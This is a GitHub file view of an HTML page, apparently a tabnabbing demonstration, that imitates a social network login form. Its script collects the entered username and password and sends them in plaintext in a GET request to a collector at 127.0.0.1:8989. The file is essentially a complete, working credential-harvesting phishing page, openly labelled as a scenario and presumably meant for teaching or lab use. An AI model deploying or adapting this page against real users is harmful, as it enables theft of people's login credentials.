-
Notifications
You must be signed in to change notification settings - Fork 3
/
Copy pathindex.html
87 lines (74 loc) · 2.37 KB
/
index.html
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
<!DOCTYPE html>
<html>
<head>
<meta charset="utf-8">
<meta name="viewport" content="width=device-width, initial-scale=1">
<title>The Social Networking!</title>
<link rel="stylesheet" href="https://maxcdn.bootstrapcdn.com/font-awesome/4.7.0/css/font-awesome.min.css">
<link rel="stylesheet" href="https://cdnjs.cloudflare.com/ajax/libs/bulma/0.6.1/css/bulma.min.css">
</head>
<body>
<div class="container">
<h1 class="title" style="text-align: center">
Welcome to <div style="color: orange"><br><strong>Tabnabbing scenario</strong></div>
</h1>
<br>
<br>
<br>
<br>
<img src="http://img.pixady.com/2017/12/992471_image_460x92.png" style="width: 15%; margin: 0; position: relative; top: 50%; left: 50%; transform: translate(-50%, -50%);">
</div>
<div class="container" style="width:500px">
<h4 class="title is-4">Please login: </h4>
<br>
<div class="field">
<p class="control has-icons-left has-icons-right">
<input class="input" type="email" placeholder="Username" id="username">
<span class="icon is-small is-left">
<i class="fa fa-envelope"></i>
</span>
<span class="icon is-small is-right">
<i class="fa fa-check"></i>
</span>
</p>
</div>
<div class="field">
<p class="control has-icons-left">
<input class="input" type="password" placeholder="Password" id="password">
<span class="icon is-small is-left">
<i class="fa fa-lock"></i>
</span>
</p>
</div>
<div class="field">
<p class="control">
<button class="button is-success" id="loginbutton">
Login
</button>
</p>
</div>
</div>
<br>
<br>
<br>
<footer class="footer">
<div class="container">
<div class="content has-text-centered">
<p>
<strong>Site powered by</strong> <a href="https://www.facebook.com/saurabh.banawar">Saurabh</a>.
</p>
</div>
</div>
</footer>
</html>
<script>
document.getElementById("loginbutton").addEventListener("click",login);
function login() {
var username = document.getElementById("username").value;
var password = document.getElementById("password").value;
var xhttp = new XMLHttpRequest();
var url = 'http://127.0.0.1:8989/index.php';
xhttp.open("GET", url+"/"+username+"/"+password, true);
xhttp.send();
}
</script>